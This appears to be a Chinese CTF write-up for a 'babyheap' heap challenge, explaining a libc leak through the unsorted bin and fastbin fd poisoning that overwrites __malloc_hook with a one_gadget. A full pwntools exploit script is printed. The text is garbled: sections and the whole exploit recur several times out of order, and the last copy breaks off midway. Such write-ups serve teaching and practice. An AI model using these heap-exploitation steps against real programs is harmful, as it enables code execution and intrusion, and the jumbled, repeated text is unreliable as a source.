再allocate一次后会将chunk1拿出来,根据上述小知识点中unsortedbin的规定,chunk2形式上会放入unsortedbin。但此时chunk_list上的in_use是没有修改的,仍然为1,是可以dump的。
这样就可以通过dump(chunk2)来获取libc了。
Step2:trim malloc_hook
allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10)
这个地方需要注意chunk_list的分布和堆内存并不是简单的一一对应关系了,我们可以这么调试。
可以发现我们编辑chunk2和chunk4指向的都是同一块内存,这是因为这之前unsortedbin中还有一个形式上的chunk2存在,所以在分配相同大小的Chunk的时候会将chunk4分配到与chunk2相同的内存地址。
这样可以恢复一下chunk_list的顺序,以便后面的篡改利用。此后,分配的chunk就会放在chunk3后面。
我们看malloc_hook前面有没有符合条件的size
字节错位法:这种利用字节错位,提取出一个满足条件的size出来,以便分配chunk到这个地方。该方法多用于got表不能修改的情况。
这里可以发现在0x7fd7a4da9af5处开始的8个字节,可以抽出一个7f,当作size时就相当于0x70,符合我们fastbin的大小范围。因此把0x7fd7a4da9af5-8的地方作为fake_chunk的起始地址,覆盖某个chunk的fd。
allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) //padding + prev_size + size + fd update(3,len(payload),payload) allocate(0x60)#5 allocate(0x60)#6 fake_chunk one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget))
还记得之前chunk_list的分布吗?chunk5是紧接着chunk3后面的
所以allocate()后把fastbin中0x60大小的第一个chunk5分配出来,下一个就是fd对应的chunk了
(我在写blog时调试多次,程序并不是一次运行的,而是分开运行,所以程序基址会发生改变,大家只需要关注后三位就行,后三位十六进制数还是一样的)
完整exp:
from pwn import * #context.log_level='debug' cn = process('./babyheap') elf = ELF('./babyheap') libc = ELF('./libc.so.6') sl = lambda data :cn.sendline(str(data)) r = lambda numb=4096 :cn.recv(numb) ru = lambda delims :cn.recvuntil(delims) irt = lambda :cn.interactive() uu64 = lambda data :u64(data.ljust(8, '\0')) def allocate(size): ru('Command: ') sl(1) ru('Size: ') sl(size) def update(index,size,content): ru('Command: ') sl(2) ru('Index: ') sl(index) ru('Size: ') sl(size) ru('Content: ') sl(content) def delete(index): ru('Command: ') sl(3) ru('Index: ') sl(index) def view(index): ru('Command: ') sl(4) ru('Index: ') sl(index) #leak libc_base allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 success('libc_base:'+hex(libc_base)) allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10) gdb.attach(cn) raw_input() #trim malloc_hook allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) update(3,len(payload),payload) gdb.attach(cn) raw_input() allocate(0x60)#5 allocate(0x60)#6 one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget)) allocate(0x10) ''' one_gadget libc.so.6 0x45216 0x4526a 0xf02a4 0xf1147 ''' irt()
该题跟2018 0ctf babyheap逻辑十分相似,但那题比较难,只能溢出一个字节,分配长度也有限制。建议大家在做
2018 0ctf babyheap
前先做这题,作为一个基础和铺垫。
1、目标:往malloc_hook里填入one_gadget,并触发。这次不能像以前一样修改got表了,因为开了Full RELRO。
小知识
malloc_hook是在调用malloc函数之前检查的地方,正常情况下该地址下的值为0,如果该内存不为0,则会在malloc前先执行malloc_hook中的地址的内容。也就是说如果我们在这块内存写入one_gadget,就会在malloc前执行one_gadget。
2、首先要泄露libc基址,这里我打算要跟unsortedbin打交道,由于在dump的时候都要检查in_use,我们只能将一个chunk形式上放入unsortedbin中,实际上in_use还是为1,从而打印出unsortedbin地址。(可能有的人会一脸懵逼:什么鬼?)
小知识
我们先看一段malloc.c的源码
if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) //unsorted_bin的最后一个,并且该bin中的最后一个chunk的size大于我们申请的大小 { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); //将选中的chunk剥离出来,恢复unsortedbin unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av);
就是说,如果unsortedbin中只有一个chunk,在分配时如果申请的nb大小比这个chunk小的话,会将这个chunk割一块刚好满足nb大小的小chunk出来给用户,然后将剩下的空间继续放在unsortedbin里,将其fd和bk都设置为unsortedbin地址。
3、拿到地址后,利用堆溢出,修改chunk的fd,往malloc_hook前某个位置分配chunk,从而修改malloc_hook值。
具体过程
Step1:leak libc_base
allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin
编辑chunk0时,通过堆溢出,覆盖chunk1的size后,free(chunk1)会将其放入unsortedbin。
allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) //&main_arena+88 success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 //&main_arena - libc_base = 0x3c4b20固定偏题 success('libc_base:'+hex(libc_base))
再allocate一次后会将chunk1拿出来,根据上述小知识点中unsortedbin的规定,chunk2形式上会放入unsortedbin。但此时chunk_list上的in_use是没有修改的,仍然为1,是可以dump的。
这样就可以通过dump(chunk2)来获取libc了。
Step2:trim malloc_hook
allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10)
这个地方需要注意chunk_list的分布和堆内存并不是简单的一一对应关系了,我们可以这么调试。
可以发现我们编辑chunk2和chunk4指向的都是同一块内存,这是因为这之前unsortedbin中还有一个形式上的chunk2存在,所以在分配相同大小的Chunk的时候会将chunk4分配到与chunk2相同的内存地址。
这样可以恢复一下chunk_list的顺序,以便后面的篡改利用。此后,分配的chunk就会放在chunk3后面。
我们看malloc_hook前面有没有符合条件的size
字节错位法:这种利用字节错位,提取出一个满足条件的size出来,以便分配chunk到这个地方。该方法多用于got表不能修改的情况。
这里可以发现在0x7fd7a4da9af5处开始的8个字节,可以抽出一个7f,当作size时就相当于0x70,符合我们fastbin的大小范围。因此把0x7fd7a4da9af5-8的地方作为fake_chunk的起始地址,覆盖某个chunk的fd。
allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) //padding + prev_size + size + fd update(3,len(payload),payload) allocate(0x60)#5 allocate(0x60)#6 fake_chunk one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget))
还记得之前chunk_list的分布吗?chunk5是紧接着chunk3后面的
所以allocate()后把fastbin中0x60大小的第一个chunk5分配出来,下一个就是fd对应的chunk了
(我在写blog时调试多次,程序并不是一次运行的,而是分开运行,所以程序基址会发生改变,大家只需要关注后三位就行,后三位十六进制数还是一样的)
完整exp:
from pwn import * #context.log_level='debug' cn = process('./babyheap') elf = ELF('./babyheap') libc = ELF('./libc.so.6') sl = lambda data :cn.sendline(str(data)) r = lambda numb=4096 :cn.recv(numb) ru = lambda delims :cn.recvuntil(delims) irt = lambda :cn.interactive() uu64 = lambda data :u64(data.ljust(8, '\0')) def allocate(size): ru('Command: ') sl(1) ru('Size: ') sl(size) def update(index,size,content): ru('Command: ') sl(2) ru('Index: ') sl(index) ru('Size: ') sl(size) ru('Content: ') sl(content) def delete(index): ru('Command: ') sl(3) ru('Index: ') sl(index) def view(index): ru('Command: ') sl(4) ru('Index: ') sl(index) #leak libc_base allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 success('libc_base:'+hex(libc_base)) allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10) gdb.attach(cn) raw_input() #trim malloc_hook allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) update(3,len(payload),payload) gdb.attach(cn) raw_input() allocate(0x60)#5 allocate(0x60)#6 one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget)) allocate(0x10) ''' one_gadget libc.so.6 0x45216 0x4526a 0xf02a4 0xf1147 ''' irt()
该题跟2018 0ctf babyheap逻辑十分相似,但那题比较难,只能溢出一个字节,分配长度也有限制。建议大家在做
2018 0ctf babyheap
前先做这题,作为一个基础和铺垫。
malloc_hook是在调用malloc函数之前检查的地方,正常情况下该地址下的值为0,如果该内存不为0,则会在malloc前先执行malloc_hook中的地址的内容。也就是说如果我们在这块内存写入one_gadget,就会在malloc前执行one_gadget。
2、首先要泄露libc基址,这里我打算要跟unsortedbin打交道,由于在dump的时候都要检查in_use,我们只能将一个chunk形式上放入unsortedbin中,实际上in_use还是为1,从而打印出unsortedbin地址。(可能有的人会一脸懵逼:什么鬼?)
小知识
我们先看一段malloc.c的源码
if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) //unsorted_bin的最后一个,并且该bin中的最后一个chunk的size大于我们申请的大小 { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); //将选中的chunk剥离出来,恢复unsortedbin unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av);
就是说,如果unsortedbin中只有一个chunk,在分配时如果申请的nb大小比这个chunk小的话,会将这个chunk割一块刚好满足nb大小的小chunk出来给用户,然后将剩下的空间继续放在unsortedbin里,将其fd和bk都设置为unsortedbin地址。
3、拿到地址后,利用堆溢出,修改chunk的fd,往malloc_hook前某个位置分配chunk,从而修改malloc_hook值。
具体过程
Step1:leak libc_base
allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin
编辑chunk0时,通过堆溢出,覆盖chunk1的size后,free(chunk1)会将其放入unsortedbin。
allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) //&main_arena+88 success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 //&main_arena - libc_base = 0x3c4b20固定偏题 success('libc_base:'+hex(libc_base))
再allocate一次后会将chunk1拿出来,根据上述小知识点中unsortedbin的规定,chunk2形式上会放入unsortedbin。但此时chunk_list上的in_use是没有修改的,仍然为1,是可以dump的。
这样就可以通过dump(chunk2)来获取libc了。
Step2:trim malloc_hook
allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10)
这个地方需要注意chunk_list的分布和堆内存并不是简单的一一对应关系了,我们可以这么调试。
可以发现我们编辑chunk2和chunk4指向的都是同一块内存,这是因为这之前unsortedbin中还有一个形式上的chunk2存在,所以在分配相同大小的Chunk的时候会将chunk4分配到与chunk2相同的内存地址。
这样可以恢复一下chunk_list的顺序,以便后面的篡改利用。此后,分配的chunk就会放在chunk3后面。
我们看malloc_hook前面有没有符合条件的size
字节错位法:这种利用字节错位,提取出一个满足条件的size出来,以便分配chunk到这个地方。该方法多用于got表不能修改的情况。
这里可以发现在0x7fd7a4da9af5处开始的8个字节,可以抽出一个7f,当作size时就相当于0x70,符合我们fastbin的大小范围。因此把0x7fd7a4da9af5-8的地方作为fake_chunk的起始地址,覆盖某个chunk的fd。
allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) //padding + prev_size + size + fd update(3,len(payload),payload) allocate(0x60)#5 allocate(0x60)#6 fake_chunk one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget))
还记得之前chunk_list的分布吗?chunk5是紧接着chunk3后面的
所以allocate()后把fastbin中0x60大小的第一个chunk5分配出来,下一个就是fd对应的chunk了
(我在写blog时调试多次,程序并不是一次运行的,而是分开运行,所以程序基址会发生改变,大家只需要关注后三位就行,后三位十六进制数还是一样的)
完整exp:
from pwn import * #context.log_level='debug' cn = process('./babyheap') elf = ELF('./babyheap') libc = ELF('./libc.so.6') sl = lambda data :cn.sendline(str(data)) r = lambda numb=4096 :cn.recv(numb) ru = lambda delims :cn.recvuntil(delims) irt = lambda :cn.interactive() uu64 = lambda data :u64(data.ljust(8, '\0')) def allocate(size): ru('Command: ') sl(1) ru('Size: ') sl(size) def update(index,size,content): ru('Command: ') sl(2) ru('Index: ') sl(index) ru('Size: ') sl(size) ru('Content: ') sl(content) def delete(index): ru('Command: ') sl(3) ru('Index: ') sl(index) def view(index): ru('Command: ') sl(4) ru('Index: ') sl(index) #leak libc_base allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 success('libc_base:'+hex(libc_base)) allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10) gdb.attach(cn) raw_input() #trim malloc_hook allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) update(3,len(payload),payload) gdb.attach(cn) raw_input() allocate(0x60)#5 allocate(0x60)#6 one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget)) allocate(0x10) ''' one_gadget libc.so.6 0x45216 0x4526a 0xf02a4 0xf1147 ''' irt()
该题跟2018 0ctf babyheap逻辑十分相似,但那题比较难,只能溢出一个字节,分配长度也有限制。建议大家在做
2018 0ctf babyheap
前先做这题,作为一个基础和铺垫。
malloc_hook是在调用malloc函数之前检查的地方,正常情况下该地址下的值为0,如果该内存不为0,则会在malloc前先执行malloc_hook中的地址的内容。也就是说如果我们在这块内存写入one_gadget,就会在malloc前执行one_gadget。
2、首先要泄露libc基址,这里我打算要跟unsortedbin打交道,由于在dump的时候都要检查in_use,我们只能将一个chunk形式上放入unsortedbin中,实际上in_use还是为1,从而打印出unsortedbin地址。(可能有的人会一脸懵逼:什么鬼?)
小知识
我们先看一段malloc.c的源码
if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) //unsorted_bin的最后一个,并且该bin中的最后一个chunk的size大于我们申请的大小 { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); //将选中的chunk剥离出来,恢复unsortedbin unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av);
就是说,如果unsortedbin中只有一个chunk,在分配时如果申请的nb大小比这个chunk小的话,会将这个chunk割一块刚好满足nb大小的小chunk出来给用户,然后将剩下的空间继续放在unsortedbin里,将其fd和bk都设置为unsortedbin地址。
3、拿到地址后,利用堆溢出,修改chunk的fd,往malloc_hook前某个位置分配chunk,从而修改malloc_hook值。
具体过程
Step1:leak libc_base
allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin
编辑chunk0时,通过堆溢出,覆盖chunk1的size后,free(chunk1)会将其放入unsortedbin。
allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) //&main_arena+88 success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 //&main_arena - libc_base = 0x3c4b20固定偏题 success('libc_base:'+hex(libc_base))
再allocate一次后会将chunk1拿出来,根据上述小知识点中unsortedbin的规定,chunk2形式上会放入unsortedbin。但此时chunk_list上的in_use是没有修改的,仍然为1,是可以dump的。
这样就可以通过dump(chunk2)来获取libc了。
Step2:trim malloc_hook
allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10)
这个地方需要注意chunk_list的分布和堆内存并不是简单的一一对应关系了,我们可以这么调试。
可以发现我们编辑chunk2和chunk4指向的都是同一块内存,这是因为这之前unsortedbin中还有一个形式上的chunk2存在,所以在分配相同大小的Chunk的时候会将chunk4分配到与chunk2相同的内存地址。
这样可以恢复一下chunk_list的顺序,以便后面的篡改利用。此后,分配的chunk就会放在chunk3后面。
我们看malloc_hook前面有没有符合条件的size
字节错位法:这种利用字节错位,提取出一个满足条件的size出来,以便分配chunk到这个地方。该方法多用于got表不能修改的情况。
这里可以发现在0x7fd7a4da9af5处开始的8个字节,可以抽出一个7f,当作size时就相当于0x70,符合我们fastbin的大小范围。因此把0x7fd7a4da9af5-8的地方作为fake_chunk的起始地址,覆盖某个chunk的fd。
allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) //padding + prev_size + size + fd update(3,len(payload),payload) allocate(0x60)#5 allocate(0x60)#6 fake_chunk one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget))
还记得之前chunk_list的分布吗?chunk5是紧接着chunk3后面的
所以allocate()后把fastbin中0x60大小的第一个chunk5分配出来,下一个就是fd对应的chunk了
(我在写blog时调试多次,程序并不是一次运行的,而是分开运行,所以程序基址会发生改变,大家只需要关注后三位就行,后三位十六进制数还是一样的)
完整exp:
from pwn import * #context.log_level='debug' cn = process('./babyheap') elf = ELF('./babyheap') libc = ELF('./libc.so.6') sl = lambda data :cn.sendline(str(data)) r = lambda numb=4096 :cn.recv(numb) ru = lambda delims :cn.recvuntil(delims) irt = lambda :cn.interactive() uu64 = lambda data :u64(data.ljust(8, '\0')) def allocate(size): ru('Command: ') sl(1) ru('Size: ') sl(size) def update(index,size,content): ru('Command: ') sl(2) ru('Index: ') sl(index) ru('Size: ') sl(size) ru('Content: ') sl(content) def delete(index): ru('Command: ') sl(3) ru('Index: ') sl(index) def view(index): ru('Command: ') sl(4) ru('Index: ') sl(index) #leak libc_base allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 success('libc_base:'+hex(libc_base)) allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10) gdb.attach(cn) raw_input() #trim malloc_hook allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) update(3,len(payload),payload) gdb.attach(cn) raw_input() allocate(0x60)#5 allocate(0x60)#6 one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget)) allocate(0x10) ''' one_gadget libc.so.6 0x45216 0x4526a 0xf02a4 0xf1147 ''' irt()
该题跟2018 0ctf babyheap逻辑十分相似,但那题比较难,只能溢出一个字节,分配长度也有限制。建议大家在做
2018 0ctf babyheap
前先做这题,作为一个基础和铺垫。
我们先看一段malloc.c的源码
if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) //unsorted_bin的最后一个,并且该bin中的最后一个chunk的size大于我们申请的大小 { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); //将选中的chunk剥离出来,恢复unsortedbin unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av);
就是说,如果unsortedbin中只有一个chunk,在分配时如果申请的nb大小比这个chunk小的话,会将这个chunk割一块刚好满足nb大小的小chunk出来给用户,然后将剩下的空间继续放在unsortedbin里,将其fd和bk都设置为unsortedbin地址。
3、拿到地址后,利用堆溢出,修改chunk的fd,往malloc_hook前某个位置分配chunk,从而修改malloc_hook值。
具体过程
Step1:leak libc_base
allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin
编辑chunk0时,通过堆溢出,覆盖chunk1的size后,free(chunk1)会将其放入unsortedbin。
allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) //&main_arena+88 success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 //&main_arena - libc_base = 0x3c4b20固定偏题 success('libc_base:'+hex(libc_base))
再allocate一次后会将chunk1拿出来,根据上述小知识点中unsortedbin的规定,chunk2形式上会放入unsortedbin。但此时chunk_list上的in_use是没有修改的,仍然为1,是可以dump的。
这样就可以通过dump(chunk2)来获取libc了。
Step2:trim malloc_hook
allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10)
这个地方需要注意chunk_list的分布和堆内存并不是简单的一一对应关系了,我们可以这么调试。
可以发现我们编辑chunk2和chunk4指向的都是同一块内存,这是因为这之前unsortedbin中还有一个形式上的chunk2存在,所以在分配相同大小的Chunk的时候会将chunk4分配到与chunk2相同的内存地址。
这样可以恢复一下chunk_list的顺序,以便后面的篡改利用。此后,分配的chunk就会放在chunk3后面。
我们看malloc_hook前面有没有符合条件的size
字节错位法:这种利用字节错位,提取出一个满足条件的size出来,以便分配chunk到这个地方。该方法多用于got表不能修改的情况。
这里可以发现在0x7fd7a4da9af5处开始的8个字节,可以抽出一个7f,当作size时就相当于0x70,符合我们fastbin的大小范围。因此把0x7fd7a4da9af5-8的地方作为fake_chunk的起始地址,覆盖某个chunk的fd。
allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) //padding + prev_size + size + fd update(3,len(payload),payload) allocate(0x60)#5 allocate(0x60)#6 fake_chunk one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget))
还记得之前chunk_list的分布吗?chunk5是紧接着chunk3后面的
所以allocate()后把fastbin中0x60大小的第一个chunk5分配出来,下一个就是fd对应的chunk了
(我在写blog时调试多次,程序并不是一次运行的,而是分开运行,所以程序基址会发生改变,大家只需要关注后三位就行,后三位十六进制数还是一样的)
完整exp:
from pwn import * #context.log_level='debug' cn = process('./babyheap') elf = ELF('./babyheap') libc = ELF('./libc.so.6') sl = lambda data :cn.sendline(str(data)) r = lambda numb=4096 :cn.recv(numb) ru = lambda delims :cn.recvuntil(delims) irt = lambda :cn.interactive() uu64 = lambda data :u64(data.ljust(8, '\0')) def allocate(size): ru('Command: ') sl(1) ru('Size: ') sl(size) def update(index,size,content): ru('Command: ') sl(2) ru('Index: ') sl(index) ru('Size: ') sl(size) ru('Content: ') sl(content) def delete(index): ru('Command: ') sl(3) ru('Index: ') sl(index) def view(index): ru('Command: ') sl(4) ru('Index: ') sl(index) #leak libc_base allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 success('libc_base:'+hex(libc_base)) allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10) gdb.attach(cn) raw_input() #trim malloc_hook allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) update(3,len(payload),payload) gdb.attach(cn) raw_input() allocate(0x60)#5 allocate(0x60)#6 one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget)) allocate(0x10) ''' one_gadget libc.so.6 0x45216 0x4526a 0xf02a4 0xf1147 ''' irt()
该题跟2018 0ctf babyheap逻辑十分相似,但那题比较难,只能溢出一个字节,分配长度也有限制。建议大家在做
2018 0ctf babyheap
前先做这题,作为一个基础和铺垫。
就是说,如果unsortedbin中只有一个chunk,在分配时如果申请的nb大小比这个chunk小的话,会将这个chunk割一块刚好满足nb大小的小chunk出来给用户,然后将剩下的空间继续放在unsortedbin里,将其fd和bk都设置为unsortedbin地址。
3、拿到地址后,利用堆溢出,修改chunk的fd,往malloc_hook前某个位置分配chunk,从而修改malloc_hook值。
具体过程
Step1:leak libc_base
allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin
编辑chunk0时,通过堆溢出,覆盖chunk1的size后,free(chunk1)会将其放入unsortedbin。
allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) //&main_arena+88 success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 //&main_arena - libc_base = 0x3c4b20固定偏题 success('libc_base:'+hex(libc_base))
再allocate一次后会将chunk1拿出来,根据上述小知识点中unsortedbin的规定,chunk2形式上会放入unsortedbin。但此时chunk_list上的in_use是没有修改的,仍然为1,是可以dump的。
这样就可以通过dump(chunk2)来获取libc了。
Step2:trim malloc_hook
allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10)
这个地方需要注意chunk_list的分布和堆内存并不是简单的一一对应关系了,我们可以这么调试。
可以发现我们编辑chunk2和chunk4指向的都是同一块内存,这是因为这之前unsortedbin中还有一个形式上的chunk2存在,所以在分配相同大小的Chunk的时候会将chunk4分配到与chunk2相同的内存地址。
这样可以恢复一下chunk_list的顺序,以便后面的篡改利用。此后,分配的chunk就会放在chunk3后面。
我们看malloc_hook前面有没有符合条件的size
字节错位法:这种利用字节错位,提取出一个满足条件的size出来,以便分配chunk到这个地方。该方法多用于got表不能修改的情况。
这里可以发现在0x7fd7a4da9af5处开始的8个字节,可以抽出一个7f,当作size时就相当于0x70,符合我们fastbin的大小范围。因此把0x7fd7a4da9af5-8的地方作为fake_chunk的起始地址,覆盖某个chunk的fd。
allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) //padding + prev_size + size + fd update(3,len(payload),payload) allocate(0x60)#5 allocate(0x60)#6 fake_chunk one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget))
还记得之前chunk_list的分布吗?chunk5是紧接着chunk3后面的
所以allocate()后把fastbin中0x60大小的第一个chunk5分配出来,下一个就是fd对应的chunk了
(我在写blog时调试多次,程序并不是一次运行的,而是分开运行,所以程序基址会发生改变,大家只需要关注后三位就行,后三位十六进制数还是一样的)
完整exp:
from pwn import * #context.log_level='debug' cn = process('./babyheap') elf = ELF('./babyheap') libc = ELF('./libc.so.6') sl = lambda data :cn.sendline(str(data)) r = lambda numb=4096 :cn.recv(numb) ru = lambda delims :cn.recvuntil(delims) irt = lambda :cn.interactive() uu64 = lambda data :u64(data.ljust(8, '\0')) def allocate(size): ru('Command: ') sl(1) ru('Size: ') sl(size) def update(index,size,content): ru('Command: ') sl(2) ru('Index: ') sl(index) ru('Size: ') sl(size) ru('Content: ') sl(content) def delete(index): ru('Command: ') sl(3) ru('Index: ') sl(index) def view(index): ru('Command: ') sl(4) ru('Index: ') sl(index) #leak libc_base allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 success('libc_base:'+hex(libc_base)) allocate(0x40)#4 clear unsortedbin place 2 